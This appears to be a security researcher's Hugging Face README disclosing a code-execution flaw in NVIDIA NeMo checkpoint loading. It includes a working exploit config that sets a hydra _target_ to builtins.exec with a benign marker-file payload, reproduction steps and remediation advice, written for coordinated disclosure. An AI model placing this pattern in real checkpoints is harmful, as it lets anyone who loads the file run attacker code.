Upload README.md with huggingface_hub

README.md

@@ -0,0 +1,107 @@
+---
+license: apache-2.0
+tags:
+  - security
+  - proof-of-concept
+  - do-not-use
+viewer: false
+---
+
+# ⚠️ SECURITY RESEARCH PoC — DO NOT LOAD THIS MODEL ⚠️
+
+This repository is **not a real model**. It hosts a single crafted
+`malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an
+untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard
+`restore_from()` API.
+
+It exists solely for **coordinated disclosure** to the NeMo maintainers via
+[huntr](https://huntr.com). The payload is **benign** — it prints a banner and
+writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not
+load it** unless you understand exactly what it does.
+
+Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA
+advisory covers 2.7.x.
+
+---
+
+## The bug in one paragraph
+
+A `.nemo` file is a tar archive containing `model_config.yaml`. On
+`restore_from()`, NeMo loads that **untrusted** YAML and constructs the model.
+Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.<subkey>)`
+directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves
+and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config
+like `preprocessor: {_target_: builtins.exec, _args_: ["<python>"]}` runs
+arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate`
+allow-list (the CVE-2026-24159 hardening), which only guards the
+`from_config_dict` `_target_` branch — not the model `__init__` path.
+
+## Vulnerable chain (NeMo 2.7.3)
+
+1. `nemo/core/connectors/save_restore_connector.py` — `OmegaConf.load(model_config.yaml)` (untrusted)
+2. `…` — `calling_cls.from_config_dict(config=conf, trainer=trainer)`
+3. `nemo/core/classes/common.py:589` `from_config_dict` — a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`).
+4. `nemo/collections/tts/models/waveglow.py:49`
+   ```python
+   self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor)  # RAW, no allow-list
+   ```
+   where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17).
+5. `hydra.utils.instantiate` executes the attacker `_target_` → **RCE**.
+
+Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`,
+`two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`,
+`vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`).
+A second, independent vector is the legacy `target` else-branch in
+`common.py:614` (`import_class_by_path(config["target"])` → `imported_cls(cfg=config)`),
+also unguarded.
+
+## The malicious `model_config.yaml` (inside the .nemo)
+
+```yaml
+sigma: 1.0
+preprocessor:
+  _target_: builtins.exec
+  _args_:
+    - |
+      import os, tempfile
+      open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
+      print("[PWNED] code ran inside WaveGlowModel.restore_from()")
+waveglow: {}
+```
+
+## Reproduce (victim's point of view)
+
+```bash
+pip install nemo_toolkit[tts] huggingface_hub
+```
+```python
+from huggingface_hub import hf_hub_download
+from nemo.collections.tts.models import WaveGlowModel
+
+path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
+WaveGlowModel.restore_from(path)     # __init__ -> instantiate(self._cfg.preprocessor) -> code runs
+```
+
+Observed: a `[PWNED] …` banner prints and `PWNED_NEMO_HF.txt` appears in your
+temp dir, **before** `restore_from` errors out on the placeholder weights —
+proving the code runs at load time.
+
+## Impact
+
+`.nemo` checkpoints are routinely distributed via the Hugging Face Hub and
+NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an
+attacker's TTS/vocoder `.nemo` — a normal, trusted-looking action — gets
+arbitrary code execution in their process.
+`CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High).
+
+## Remediation
+
+Route all model-config-driven instantiation through `safe_instantiate` (or run
+`_validate_config_targets_recursive` before every
+`hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and
+guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`).
+
+---
+
+*Reported responsibly via huntr. Files in this repo are inert configuration; the
+"weights" are a zero-byte placeholder. Replace the benign payload at your own risk.*